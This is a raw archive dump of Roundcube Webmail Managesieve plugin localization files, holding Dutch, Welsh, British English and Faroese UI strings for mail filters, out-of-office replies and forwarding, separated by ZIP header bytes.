$messages['setactivated'] = 'Filterset succesvol geactiveerd.';
$messages['setdeactivated'] = 'Filterset succesvol gedeactiveerd.';
$messages['setdeleted'] = 'Filterset succesvol verwijderd.';
$messages['setupdated'] = 'Filterset succesvol bijgewerkt.';
$messages['setdeleteconfirm'] = 'Weet u zeker dat u de geselecteerde filterset wilt verwijderen?';
$messages['setcreateerror'] = 'Filterset kon niet aangemaakt worden. Er trad een serverfout op.';
$messages['setcreated'] = 'Filterset succesvol aangemaakt.';
$messages['activateerror'] = 'Geselecteerde filter(s) konden niet ingeschakeld worden. Er trad een serverfout op.';
$messages['deactivateerror'] = 'Geselecteerde filter(s) konden niet uitgeschakeld worden. Er trad een serverfout op.';
$messages['deactivated'] = 'Filter(s) succesvol ingeschakeld.';
$messages['activated'] = 'Filter(s) succesvol uitgeschakeld.';
$messages['moved'] = 'Filter succesvol verplaatst.';
$messages['moveerror'] = 'Het geselecteerde filter kon niet verplaatst worden. Er trad een serverfout op.';
$messages['nametoolong'] = 'Naam is te lang.';
$messages['namereserved'] = 'Gereserveerde naam.';
$messages['setexist'] = 'Filterset bestaat al.';
$messages['nodata'] = 'Tenminste één positie moet geselecteerd worden!';
$messages['invaliddateformat'] = 'Ongeldige datum of datumformaat';
$messages['saveerror'] = 'Opslaan van de gegevens is mislukt. Er trad een serverfout op.';
$messages['vacationsaved'] = 'Afwezigheidsbericht correct bewaard.';
$messages['forwardsaved'] = 'Doorstuur data succesvol opgeslagen.';
$messages['emptyvacationbody'] = 'Inhoud van vakantiebericht is verplicht!';
$messages['duplicate.conflict.err'] = 'Zowel header en unieke identificatie opgeven is niet toegestaan.';
$messages['disabledaction'] = 'Actie is niet toegestaan.';
$messages['lastindexempty'] = 'Gelieve een index op te geven.';
$messages['noflagset'] = 'Er moet ten minste één optie worden geselecteerd.';
PKh�\�6Ơ"7"7*plugins/managesieve/localization/cy_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Hidlyddion';
$labels['managefilters'] = 'Rheoli hidlyddion ebost i fewn';
$labels['filtername'] = 'Enw hidlydd';
$labels['newfilter'] = 'Hidlydd newydd';
$labels['filteradd'] = 'Ychwanegu hidlydd';
$labels['filterdel'] = 'Dileu hidlydd';
$labels['rules'] = 'Rheolau';
$labels['actions'] = 'Gweithredoedd';
$labels['scope'] = 'Amrediad';
$labels['moveup'] = 'Symud i fyny';
$labels['movedown'] = 'Symud i lawr';
$labels['filterallof'] = 'sy\'n cyfateb i\'r holl reolau canlynol';
$labels['filteranyof'] = 'sy\'n cyfateb i unrhyw un i\'r rheolau canlynol';
$labels['filterany'] = 'pob neges';
$labels['filtercontains'] = 'yn cynnwys';
$labels['filternotcontains'] = 'ddim yn cynnwys';
$labels['filteris'] = 'yn hafal i';
$labels['filterisnot'] = 'ddim yn hafal i';
$labels['filterexists'] = 'yn bodoli';
$labels['filternotexists'] = 'ddim yn bodoli';
$labels['filtermatches'] = 'yn cyfateb i\'r mynegiant';
$labels['filternotmatches'] = 'ddim yn cyfateb i\'r mynegiant';
$labels['filterregex'] = 'yn cyfateb i\'r mynegiant rheolaidd';
$labels['filternotregex'] = 'ddim yn cyfateb i\'r mynegiant rheolaidd';
$labels['filterunder'] = 'o dan';
$labels['filterover'] = 'dros';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'Rhan MIME:';
$labels['mime-message'] = 'neges';
$labels['mime-anychild'] = 'unrhywun';
$labels['mime-type'] = 'math';
$labels['mime-subtype'] = 'is-fath';
$labels['mime-contenttype'] = 'content-type';
$labels['mime-param'] = 'parameter';
$labels['addrule'] = 'Ychwanegu rheol';
$labels['delrule'] = 'Dileu rheol';
$labels['messagemoveto'] = 'Symud neges i';
$labels['messageredirect'] = 'Ail-gyfeirio neges i';
$labels['messagecopyto'] = 'Copio neges i';
$labels['messagesendcopy'] = 'Danfon copi o\'r neges i';
$labels['messagereply'] = 'Ymateb gyda\'r neges';
$labels['messagedelete'] = 'Dileu neges';
$labels['messagediscard'] = 'Gwaredu gyda neges';
$labels['messagekeep'] = 'Cadw\'r neges yn y Mewnflwch';
$labels['messagesrules'] = 'Ar gyfer ebost i fewn:';
$labels['messagesactions'] = '...rhedeg y gweithredoedd canlynol:';
$labels['add'] = 'Ychwanegu';
$labels['del'] = 'Dileu';
$labels['sender'] = 'Anfonwr';
$labels['recipient'] = 'Derbynnwr';
$labels['vacationaddr'] = 'Fy nghyfeiriadau ebost:';
$labels['vacationdays'] = 'Pa mor aml i ddanfon negeseuon (mewn dyddiau):';
$labels['vacationinterval'] = 'Pa mor aml i ddanfon negeseuon:';
$labels['vacationreason'] = 'Corff neges (rheswm ar wyliau):';
$labels['vacationfrom'] = 'Cyfeiriad ymateb anfonwr:';
$labels['vacationsubject'] = 'Pwnc neges:';
$labels['days'] = 'dyddiau';
$labels['seconds'] = 'eiliadau';
$labels['rulestop'] = 'Stopio gwerthuso rheolau';
$labels['enable'] = 'Galluogi/Analluogi';
$labels['filterset'] = 'Set hidlo';
$labels['filtersets'] = 'Setiau hidlyddion';
$labels['filtersetadd'] = 'Ychwanegu set hidlo';
$labels['filtersetdel'] = 'Dileu set hidlo';
$labels['filtersetact'] = 'Gweithredu set hidlo presennol';
$labels['filtersetdeact'] = 'Dadweithredu set hidlo presennol';
$labels['filterseteditraw'] = 'Golygu set hidlo';
$labels['filtersetswitch'] = 'Galluogi/analluogi set hidlo';
$labels['filterdef'] = 'Diffiniad hidlydd';
$labels['filtersetname'] = 'Enw set hidlo';
$labels['newfilterset'] = 'Set hidlo newydd';
$labels['active'] = 'gweithredol';
$labels['none'] = 'dim';
$labels['fromset'] = 'o set';
$labels['fromfile'] = 'o ffeil';
$labels['filterdisabled'] = 'Analluogwyd hidlydd';
$labels['filterenabled'] = 'Galluogwyd yr hidlydd';
$labels['countisgreaterthan'] = 'rhif yn fwy na';
$labels['countisgreaterthanequal'] = 'rhif yn fwy na neu hafal i';
$labels['countislessthan'] = 'rhif yn llai na';
$labels['countislessthanequal'] = 'rhif yn llai na neu hafal i';
$labels['countequals'] = 'rhif yn hafal i';
$labels['countnotequals'] = 'rhif ddim yn hafal i';
$labels['valueisgreaterthan'] = 'gwerth yn fwy na';
$labels['valueisgreaterthanequal'] = 'gwerth yn fwy na neu hafal i';
$labels['valueislessthan'] = 'gwerth yn llai na';
$labels['valueislessthanequal'] = 'gwerth yn llai neu hafal i';
$labels['valueequals'] = 'gwerth yn hafal i';
$labels['valuenotequals'] = 'gwerth ddim yn hafal i';
$labels['setflags'] = 'Rhoi fflag ar y neges';
$labels['addflags'] = 'Ychwanegu fflag i\'r neges';
$labels['removeflags'] = 'Dileu fflag o\'r neges';
$labels['flagread'] = 'Darllen';
$labels['flagdeleted'] = 'Dilewyd';
$labels['flaganswered'] = 'Atebwyd';
$labels['flagflagged'] = 'Nodwyd';
$labels['flagdraft'] = 'Drafft';
$labels['addheader'] = 'Ychwanegu pennawd i\'r neges';
$labels['deleteheader'] = 'Tynnu pennawd o\'r neges';
$labels['headername'] = 'Enw pennawd';
$labels['headervalue'] = 'Gwerth y pennawd';
$labels['headerpos'] = 'Safle\'r pennawd';
$labels['headeratstart'] = 'ar y dechrau';
$labels['headeratend'] = 'ar y diwedd';
$labels['headeroccurrence'] = 'Safle\'r pennawd';
$labels['headerfromstart'] = 'o\'r dechrau';
$labels['headerfromend'] = 'o\'r diwedd';
$labels['headerpatterns'] = 'Patrwm gwerth pennawd';
$labels['headermatchtype'] = 'cymharu math:';
$labels['setvariable'] = 'Gosod newidyn';
$labels['setvarname'] = 'Enw newidyn:';
$labels['setvarvalue'] = 'Gwerth newidyn:';
$labels['setvarmodifiers'] = 'Addasydd:';
$labels['varlower'] = 'llythrennau bychain';
$labels['varupper'] = 'priflythrennau';
$labels['varlowerfirst'] = 'llythyren gyntaf yn fach';
$labels['varupperfirst'] = 'llythyren gyntaf yn briflythyren';
$labels['varquotewildcard'] = 'dyfynnu nodau arbennig';
$labels['varlength'] = 'hyd';
$labels['notify'] = 'Anfon hysbysiad';
$labels['notifytarget'] = 'Target hysbysu:';
$labels['notifymessage'] = 'Neges hysbysu (dewisol):';
$labels['notifyoptions'] = 'Dewisiadau hysbysu (dewisol):';
$labels['notifyfrom'] = 'Anfonwr hysbysiad (dewisol):';
$labels['notifyimportance'] = 'Pwysigrwydd:';
$labels['notifyimportancelow'] = 'isel';
$labels['notifyimportancenormal'] = 'arferol';
$labels['notifyimportancehigh'] = 'uchel';
$labels['notifymethodmailto'] = 'Ebost';
$labels['notifymethodtel'] = 'Ffôn';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Creu hidlydd';
$labels['usedata'] = 'Defnyddio\'r wybodaeth ganlynol yn yr hidlydd:';
$labels['nextstep'] = 'Cam nesaf';
$labels['...'] = '...';
$labels['string'] = 'Llinyn';
$labels['currdate'] = 'Dyddiad cyfredol';
$labels['datetest'] = 'Dyddiad';
$labels['dateheader'] = 'pennawd:';
$labels['year'] = 'blwyddyn';
$labels['month'] = 'mis';
$labels['day'] = 'dydd';
$labels['date'] = 'dyddiad (bbbb-mm-dd)';
$labels['julian'] = 'dyddiad (julian)';
$labels['hour'] = 'awr';
$labels['minute'] = 'munud';
$labels['second'] = 'eiliad';
$labels['time'] = 'amser (aa:mm:ee)';
$labels['iso8601'] = 'dyddiad (ISO8601)';
$labels['std11'] = 'dyddiad (RFC2822)';
$labels['zone'] = 'parth-amser';
$labels['weekday'] = 'dydd yr wythnos (0-6)';
$labels['advancedopts'] = 'Dewisiadau uwch';
$labels['body'] = 'Corff';
$labels['address'] = 'cyfeiriad';
$labels['envelope'] = 'amlen';
$labels['modifier'] = 'newidydd:';
$labels['text'] = 'testun';
$labels['undecoded'] = 'heb ei ddatgodi (amrwd)';
$labels['contenttype'] = 'math cynnwys';
$labels['modtype'] = 'math:';
$labels['allparts'] = 'popeth';
$labels['domain'] = 'parth';
$labels['localpart'] = 'darn lleol';
$labels['user'] = 'defnyddiwr';
$labels['detail'] = 'manylion';
$labels['comparator'] = 'cymharydd';
$labels['default'] = 'rhagosodiad';
$labels['octet'] = 'llym (octet)';
$labels['asciicasemap'] = 'maint llythrennau (ascii-casemap)';
$labels['asciinumeric'] = 'rhifau (ascii-numeric)';
$labels['index'] = 'mynegai:';
$labels['indexlast'] = 'o chwith';
$labels['spamtest'] = 'Lefel sbam';
$labels['spamtestisgreaterthan'] = 'yn fwy na';
$labels['spamtestisgreaterthanequal'] = 'yn fwy na neu hafal i';
$labels['spamtestislessthan'] = 'yn llai na';
$labels['spamtestislessthanequal'] = 'yn llai na neu hafal i';
$labels['spamtestequals'] = 'yn hafal i';
$labels['spamtestnotequals'] = 'ddim yn hafal i';
$labels['spamtestisunknown'] = 'yn anhysbys';
$labels['vacation'] = 'Allan o\'r Swyddfa';
$labels['vacation.reply'] = 'Neges ymateb';
$labels['vacation.advanced'] = 'Gosodiadau uwch';
$labels['vacation.from'] = 'Cyfeiriad ymateb anfonwr';
$labels['vacation.subject'] = 'Pwnc';
$labels['vacation.body'] = 'Corff';
$labels['vacation.start'] = 'Amser cychwyn';
$labels['vacation.end'] = 'Amser gorffen';
$labels['vacation.status'] = 'Statws';
$labels['vacation.on'] = 'Ymlaen';
$labels['vacation.off'] = 'I ffwrdd';
$labels['vacation.addresses'] = 'Fy nghyfeiriadau ebost:';
$labels['vacation.interval'] = 'Cyfnod ymateb';
$labels['vacation.after'] = 'Rhoi\'r rheol allan-o\'r-swyddfa wedyn';
$labels['vacation.saving'] = 'Yn cadw\'r data...';
$labels['vacation.action'] = 'Gweithred neges i fewn';
$labels['vacation.keep'] = 'Cadw';
$labels['vacation.discard'] = 'Gwaredu';
$labels['vacation.redirect'] = 'Ailgyfeirio i';
$labels['vacation.copy'] = 'Danfon copi i';
$labels['forward'] = 'Danfon ymlaen';
$labels['forward.redirect'] = 'Ailgyfeirio i';
$labels['forward.copy'] = 'Danfon copi i';
$labels['forward.on'] = 'Ymlaen';
$labels['forward.off'] = 'I ffwrdd';
$labels['forward.status'] = 'Statws:';
$labels['forward.action'] = 'Am negeseuon sy\'n dod i fewn, gwneud y weithred ganlynol:';
$labels['forward.saving'] = 'Yn cadw\'r data...';
$labels['filladdresses'] = 'Llenwi gyda fy nghyfeiriadau ychwanegol';
$labels['arialabelfiltersetactions'] = 'Gweithrediadau set hidlydd';
$labels['arialabelfilteractions'] = 'Gweithrediadau hidlydd';
$labels['arialabelfilterform'] = 'Nodweddion hidlydd';
$labels['ariasummaryfilterslist'] = 'Rhestr o hidlyddion';
$labels['ariasummaryfiltersetslist'] = 'Rhestr o setiau hidlyddion';
$labels['filterstitle'] = 'Golygu hidlyddion ebost i fewn';
$labels['vacationtitle'] = 'Golygu rheol allan-o\'r-swyddfa';
$labels['forwardtitle'] = 'Golygu rheol danfon negeseuon ymlaen';
$labels['message'] = 'Neges';
$labels['duplicate'] = 'wedi dyblygu';
$labels['notduplicate'] = 'ddim wedi dyblygu';
$labels['duplicate.handle'] = 'dolen:';
$labels['duplicate.header'] = 'pennawd:';
$labels['duplicate.uniqueid'] = 'dynodwr:';
$labels['duplicate.seconds'] = 'terfyn amser (eiliadau):';
$labels['duplicate.last'] = 'yn berthnol i\'r gweithrediad diwethaf';
$messages['filterunknownerror'] = 'Gwall gweinydd anhysbys.';
$messages['filterconnerror'] = 'Methwyd cysylltu a\'r gweinydd.';
$messages['filterdeleteerror'] = 'Methwyd dileu hidlydd. Cafwydd gwall gweinydd.';
$messages['filterdeleted'] = 'Dilëuwyd hidlydd yn llwyddiannus.';
$messages['filtersaved'] = 'Cadwyd hidlydd yn llwyddiannus.';
$messages['filtersaveerror'] = 'Methwyd cadw hidlydd. Cafwyd gwall gweinydd.';
$messages['filterformerror'] = 'Mae gwallau yn y ffurflen hidlo.';
$messages['filterdeleteconfirm'] = 'Ydych chi wir am ddileu yr hidlydd ddewiswyd?';
$messages['ruledeleteconfirm'] = 'Ydych chi\'n siwr eich bod am ddileu\'r rheol ddewiswyd?';
$messages['actiondeleteconfirm'] = 'Ydych chi\'n siwr eich bod am ddileu\'r weithred ddewiswyd?';
$messages['forbiddenchars'] = 'Llythrennau gwaharddedig yn y maes.';
$messages['cannotbeempty'] = 'Ni all y maes fod yn wag.';
$messages['ruleexist'] = 'Mae hidlydd gyda\'r enw yma yn bodoli\'n barod.';
$messages['setactivateerror'] = 'Methwyd gweithredu y set hidlo ddewiswyd. Cafwyd gwall gweinydd.';
$messages['setdeactivateerror'] = 'Methwyd dadweithredu y set hidlo ddewiswyd. Cafwyd gwall gweinydd.';
$messages['setdeleteerror'] = 'Methwyd dileu y set hidlo ddewiswyd. Cafwyd gwall gweinydd.';
$messages['setactivated'] = 'Gweithredwyd y set hidlo yn llwyddiannus.';
$messages['setdeactivated'] = 'Anweithredwyd y set hidlo yn llwyddiannus.';
$messages['setdeleted'] = 'Dileuwyd y set hidlo yn llwyddiannus.';
$messages['setupdated'] = 'Diweddarwyd y set hidlo yn llwyddiannus.';
$messages['setdeleteconfirm'] = 'Ydych chi\'n siwr eich bod am ddileu\'r set hidlo ddewiswyd?';
$messages['setcreateerror'] = 'Methwyd creu set hidlo. Cafwyd gwall gweinydd.';
$messages['setcreated'] = 'Creuwyd y set hidlo yn llwyddiannus.';
$messages['activateerror'] = 'Methwyd galluogi y hidlydd(ion) dewiswyd. Cafwyd gwall gweinydd.';
$messages['deactivateerror'] = 'Methwyd analluogi y hidlydd(ion) dewiswyd. Cafwyd gwall gweinydd.';
$messages['deactivated'] = 'Galluogwyd y hidlydd(ion) yn llwyddiannus.';
$messages['activated'] = 'Analluogwyd y hidlydd(ion) yn llwyddiannus.';
$messages['moved'] = 'Symudwyd y hidlydd yn llwyddiannus.';
$messages['moveerror'] = 'Methwyd symud y hidlydd dewiswyd. Cafwyd gwall gweinydd.';
$messages['nametoolong'] = 'Enw yn rhy hir.';
$messages['namereserved'] = 'Enw neilltuedig.';
$messages['setexist'] = 'Mae\'r set yn bodoli\'n barod.';
$messages['nodata'] = 'Rhaid dewis o leia un safle!';
$messages['invaliddateformat'] = 'Dyddiad neu fformat dyddiad annilys';
$messages['saveerror'] = 'Methwyd cadw\'r data. Cafwyd gwall gweinydd.';
$messages['vacationsaved'] = 'Cadwyd y data allan-o\'r-swyddfa yn llwyddiannus.';
$messages['forwardsaved'] = 'Cadwyd y data danfon yn llwyddiannus.';
$messages['emptyvacationbody'] = 'Mae angen rhoi corff y neges wyliau!';
$messages['duplicate.conflict.err'] = 'Ni ganiateir defnyddio pennawd a dynodwr unigryw.';
$messages['disabledaction'] = 'Ni ganiateir y weithred.';
$messages['lastindexempty'] = 'Mae angen mynegai wrth gyfri o\'r diwedd';
$messages['noflagset'] = 'Rhaid dewis o leia un fflag';
PKh�\[��Vb5b5*plugins/managesieve/localization/en_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filters';
$labels['managefilters'] = 'Manage incoming mail filters';
$labels['filtername'] = 'Filter name';
$labels['newfilter'] = 'New filter';
$labels['filteradd'] = 'Add filter';
$labels['filterdel'] = 'Delete filter';
$labels['rules'] = 'Rules';
$labels['actions'] = 'Actions';
$labels['scope'] = 'Scope';
$labels['moveup'] = 'Move up';
$labels['movedown'] = 'Move down';
$labels['filterallof'] = 'matching all of the following rules';
$labels['filteranyof'] = 'matching any of the following rules';
$labels['filterany'] = 'all messages';
$labels['filtercontains'] = 'contains';
$labels['filternotcontains'] = 'not contains';
$labels['filteris'] = 'is equal to';
$labels['filterisnot'] = 'is not equal to';
$labels['filterexists'] = 'exists';
$labels['filternotexists'] = 'not exists';
$labels['filtermatches'] = 'matches expression';
$labels['filternotmatches'] = 'not matches expression';
$labels['filterregex'] = 'matches regular expression';
$labels['filternotregex'] = 'not matches regular expression';
$labels['filterunder'] = 'under';
$labels['filterover'] = 'over';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME part:';
$labels['mime-message'] = 'message';
$labels['mime-anychild'] = 'any';
$labels['mime-type'] = 'type';
$labels['mime-subtype'] = 'subtype';
$labels['mime-contenttype'] = 'content-type';
$labels['mime-param'] = 'parameter';
$labels['addrule'] = 'Add rule';
$labels['delrule'] = 'Delete rule';
$labels['messagemoveto'] = 'Move message to';
$labels['messageredirect'] = 'Redirect message to';
$labels['messagecopyto'] = 'Copy message to';
$labels['messagesendcopy'] = 'Send message copy to';
$labels['messagereply'] = 'Reply with message';
$labels['messagedelete'] = 'Delete message';
$labels['messagediscard'] = 'Discard with message';
$labels['messagekeep'] = 'Keep message in Inbox';
$labels['messagesrules'] = 'For incoming mail:';
$labels['messagesactions'] = '...execute the following actions:';
$labels['add'] = 'Add';
$labels['del'] = 'Delete';
$labels['sender'] = 'Sender';
$labels['recipient'] = 'Recipient';
$labels['vacationaddr'] = 'My e-mail addresses:';
$labels['vacationdays'] = 'How often send messages (in days):';
$labels['vacationinterval'] = 'How often send messages:';
$labels['vacationreason'] = 'Message body (vacation reason):';
$labels['vacationfrom'] = 'Reply sender address:';
$labels['vacationsubject'] = 'Message subject:';
$labels['days'] = 'days';
$labels['seconds'] = 'seconds';
$labels['rulestop'] = 'Stop evaluating rules';
$labels['enable'] = 'Enable/Disable';
$labels['filterset'] = 'Filter set';
$labels['filtersets'] = 'Filter sets';
$labels['filtersetadd'] = 'Add filter set';
$labels['filtersetdel'] = 'Delete filter set';
$labels['filtersetact'] = 'Activate current filter set';
$labels['filtersetdeact'] = 'Deactivate current filter set';
$labels['filterseteditraw'] = 'Edit filter set';
$labels['filtersetswitch'] = 'Enable/disable filter set';
$labels['filterdef'] = 'Filter definition';
$labels['filtersetname'] = 'Filter set name';
$labels['newfilterset'] = 'New filter set';
$labels['active'] = 'active';
$labels['none'] = 'none';
$labels['fromset'] = 'from set';
$labels['fromfile'] = 'from file';
$labels['filterdisabled'] = 'Filter disabled';
$labels['filterenabled'] = 'Filter enabled';
$labels['countisgreaterthan'] = 'count is greater than';
$labels['countisgreaterthanequal'] = 'count is greater than or equal to';
$labels['countislessthan'] = 'count is less than';
$labels['countislessthanequal'] = 'count is less than or equal to';
$labels['countequals'] = 'count is equal to';
$labels['countnotequals'] = 'count is not equal to';
$labels['valueisgreaterthan'] = 'value is greater than';
$labels['valueisgreaterthanequal'] = 'value is greater than or equal to';
$labels['valueislessthan'] = 'value is less than';
$labels['valueislessthanequal'] = 'value is less than or equal to';
$labels['valueequals'] = 'value is equal to';
$labels['valuenotequals'] = 'value is not equal to';
$labels['setflags'] = 'Set flags to the message';
$labels['addflags'] = 'Add flags to the message';
$labels['removeflags'] = 'Remove flags from the message';
$labels['flagread'] = 'Read';
$labels['flagdeleted'] = 'Deleted';
$labels['flaganswered'] = 'Answered';
$labels['flagflagged'] = 'Flagged';
$labels['flagdraft'] = 'Draft';
$labels['addheader'] = 'Add header to the message';
$labels['deleteheader'] = 'Remove header from the message';
$labels['headername'] = 'Header name';
$labels['headervalue'] = 'Header value';
$labels['headerpos'] = 'Header position';
$labels['headeratstart'] = 'at the beginning';
$labels['headeratend'] = 'at the end';
$labels['headeroccurrence'] = 'Header occurrence/position';
$labels['headerfromstart'] = 'from start';
$labels['headerfromend'] = 'from end';
$labels['headerpatterns'] = 'Header value patterns';
$labels['headermatchtype'] = 'match type:';
$labels['setvariable'] = 'Set variable';
$labels['setvarname'] = 'Variable name:';
$labels['setvarvalue'] = 'Variable value:';
$labels['setvarmodifiers'] = 'Modifiers:';
$labels['varlower'] = 'lower-case';
$labels['varupper'] = 'upper-case';
$labels['varlowerfirst'] = 'first character lower-case';
$labels['varupperfirst'] = 'first character upper-case';
$labels['varquotewildcard'] = 'quote special characters';
$labels['varlength'] = 'length';
$labels['notify'] = 'Send notification';
$labels['notifytarget'] = 'Notification target:';
$labels['notifymessage'] = 'Notification message (optional):';
$labels['notifyoptions'] = 'Notification options (optional):';
$labels['notifyfrom'] = 'Notification sender (optional):';
$labels['notifyimportance'] = 'Importance:';
$labels['notifyimportancelow'] = 'low';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'high';
$labels['notifymethodmailto'] = 'Email';
$labels['notifymethodtel'] = 'Phone';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Create filter';
$labels['usedata'] = 'Use following data in the filter:';
$labels['nextstep'] = 'Next Step';
$labels['...'] = '...';
$labels['string'] = 'String';
$labels['currdate'] = 'Current date';
$labels['datetest'] = 'Date';
$labels['dateheader'] = 'header:';
$labels['year'] = 'year';
$labels['month'] = 'month';
$labels['day'] = 'day';
$labels['date'] = 'date (yyyy-mm-dd)';
$labels['julian'] = 'date (julian)';
$labels['hour'] = 'hour';
$labels['minute'] = 'minute';
$labels['second'] = 'second';
$labels['time'] = 'time (hh:mm:ss)';
$labels['iso8601'] = 'date (ISO8601)';
$labels['std11'] = 'date (RFC2822)';
$labels['zone'] = 'time-zone';
$labels['weekday'] = 'weekday (0-6)';
$labels['advancedopts'] = 'Advanced options';
$labels['body'] = 'Body';
$labels['address'] = 'address';
$labels['envelope'] = 'envelope';
$labels['modifier'] = 'modifier:';
$labels['text'] = 'text';
$labels['undecoded'] = 'undecoded (raw)';
$labels['contenttype'] = 'content type';
$labels['modtype'] = 'type:';
$labels['allparts'] = 'all';
$labels['domain'] = 'domain';
$labels['localpart'] = 'local part';
$labels['user'] = 'user';
$labels['detail'] = 'detail';
$labels['comparator'] = 'comparator:';
$labels['default'] = 'default';
$labels['octet'] = 'strict (octet)';
$labels['asciicasemap'] = 'case insensitive (ascii-casemap)';
$labels['asciinumeric'] = 'numeric (ascii-numeric)';
$labels['index'] = 'index:';
$labels['indexlast'] = 'backwards';
$labels['spamtest'] = 'Spam score';
$labels['spamtestisgreaterthan'] = 'is greater than';
$labels['spamtestisgreaterthanequal'] = 'is greater than or equal to';
$labels['spamtestislessthan'] = 'is less than';
$labels['spamtestislessthanequal'] = 'is less than or equal to';
$labels['spamtestequals'] = 'is equal to';
$labels['spamtestnotequals'] = 'is not equal to';
$labels['spamtestisunknown'] = 'is unknown';
$labels['vacation'] = 'Out of Office';
$labels['vacation.reply'] = 'Reply message';
$labels['vacation.advanced'] = 'Advanced settings';
$labels['vacation.from'] = 'Reply sender address';
$labels['vacation.subject'] = 'Subject';
$labels['vacation.body'] = 'Body';
$labels['vacation.start'] = 'Start time';
$labels['vacation.end'] = 'End time';
$labels['vacation.status'] = 'Status';
$labels['vacation.on'] = 'On';
$labels['vacation.off'] = 'Off';
$labels['vacation.addresses'] = 'My e-mail addresses';
$labels['vacation.interval'] = 'Reply interval';
$labels['vacation.after'] = 'Put the out-of-office rule after';
$labels['vacation.saving'] = 'Saving data...';
$labels['vacation.action'] = 'Incoming message action';
$labels['vacation.keep'] = 'Keep';
$labels['vacation.discard'] = 'Discard';
$labels['vacation.redirect'] = 'Redirect to';
$labels['vacation.copy'] = 'Send copy to';
$labels['forward'] = 'Forwarding';
$labels['forward.redirect'] = 'Redirect to';
$labels['forward.copy'] = 'Send copy to';
$labels['forward.on'] = 'On';
$labels['forward.off'] = 'Off';
$labels['forward.status'] = 'Status:';
$labels['forward.action'] = 'For incoming mails execute the following action:';
$labels['forward.saving'] = 'Saving data...';
$labels['filladdresses'] = 'Fill with all my addresses';
$labels['arialabelfiltersetactions'] = 'Filter set actions';
$labels['arialabelfilteractions'] = 'Filter actions';
$labels['arialabelfilterform'] = 'Filter properties';
$labels['ariasummaryfilterslist'] = 'List of filters';
$labels['ariasummaryfiltersetslist'] = 'List of filter sets';
$labels['filterstitle'] = 'Edit incoming mail filters';
$labels['vacationtitle'] = 'Edit out-of-office rule';
$labels['forwardtitle'] = 'Edit mail forwarding rule';
$labels['message'] = 'Message';
$labels['duplicate'] = 'is duplicate';
$labels['notduplicate'] = 'is not duplicate';
$labels['duplicate.handle'] = 'handle:';
$labels['duplicate.header'] = 'header:';
$labels['duplicate.uniqueid'] = 'identifier:';
$labels['duplicate.seconds'] = 'timeout (seconds):';
$labels['duplicate.last'] = 'relative to the last execution';
$messages['filterunknownerror'] = 'Unknown server error';
$messages['filterconnerror'] = 'Unable to connect to managesieve server';
$messages['filterdeleteerror'] = 'Unable to delete filter. Server error occurred.';
$messages['filterdeleted'] = 'Filter deleted successfully';
$messages['filtersaved'] = 'Filter saved successfully';
$messages['filtersaveerror'] = 'Unable to save filter. Server error occurred.';
$messages['filterformerror'] = 'Filter form contains errors.';
$messages['filterdeleteconfirm'] = 'Do you really want to delete selected filter?';
$messages['ruledeleteconfirm'] = 'Are you sure, you want to delete selected rule?';
$messages['actiondeleteconfirm'] = 'Are you sure, you want to delete selected action?';
$messages['forbiddenchars'] = 'Forbidden characters in field';
$messages['cannotbeempty'] = 'Field cannot be empty';
$messages['ruleexist'] = 'Filter with specified name already exists.';
$messages['setactivateerror'] = 'Unable to activate selected filter set. Server error occurred.';
$messages['setdeactivateerror'] = 'Unable to deactivate selected filter set. Server error occurred.';
$messages['setdeleteerror'] = 'Unable to delete selected filter set. Server error occurred.';
$messages['setactivated'] = 'Filter set activated successfully.';
$messages['setdeactivated'] = 'Filter set deactivated successfully.';
$messages['setdeleted'] = 'Filter set deleted successfully.';
$messages['setupdated'] = 'Filter set updated successfully.';
$messages['setdeleteconfirm'] = 'Are you sure, you want to delete the selected filter set?';
$messages['setcreateerror'] = 'Unable to create filter set. Server error occurred.';
$messages['setcreated'] = 'Filter set created successfully.';
$messages['activateerror'] = 'Unable to enable selected filter(s). Server error occurred.';
$messages['deactivateerror'] = 'Unable to disable selected filter(s). Server error occurred.';
$messages['deactivated'] = 'Filter(s) disabled successfully.';
$messages['activated'] = 'Filter(s) enabled successfully.';
$messages['moved'] = 'Filter moved successfully.';
$messages['moveerror'] = 'Unable to move selected filter. Server error occurred.';
$messages['nametoolong'] = 'Name too long.';
$messages['namereserved'] = 'Reserved name.';
$messages['setexist'] = 'Set already exists.';
$messages['nodata'] = 'At least one position must be selected!';
$messages['invaliddateformat'] = 'Invalid date or date part format';
$messages['saveerror'] = 'Unable to save data. Server error occurred.';
$messages['vacationsaved'] = 'Out-of-office data saved successfully.';
$messages['forwardsaved'] = 'Forward data saved successfully.';
$messages['emptyvacationbody'] = 'Body of vacation message is required!';
$messages['duplicate.conflict.err'] = 'Both header and unique identifier are not allowed.';
$messages['disabledaction'] = 'Action not permitted.';
$messages['lastindexempty'] = 'Index is required when counting from end';
$messages['noflagset'] = 'At least one flag must be selected.';
PKh�\��'('(*plugins/managesieve/localization/fo_FO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtur';
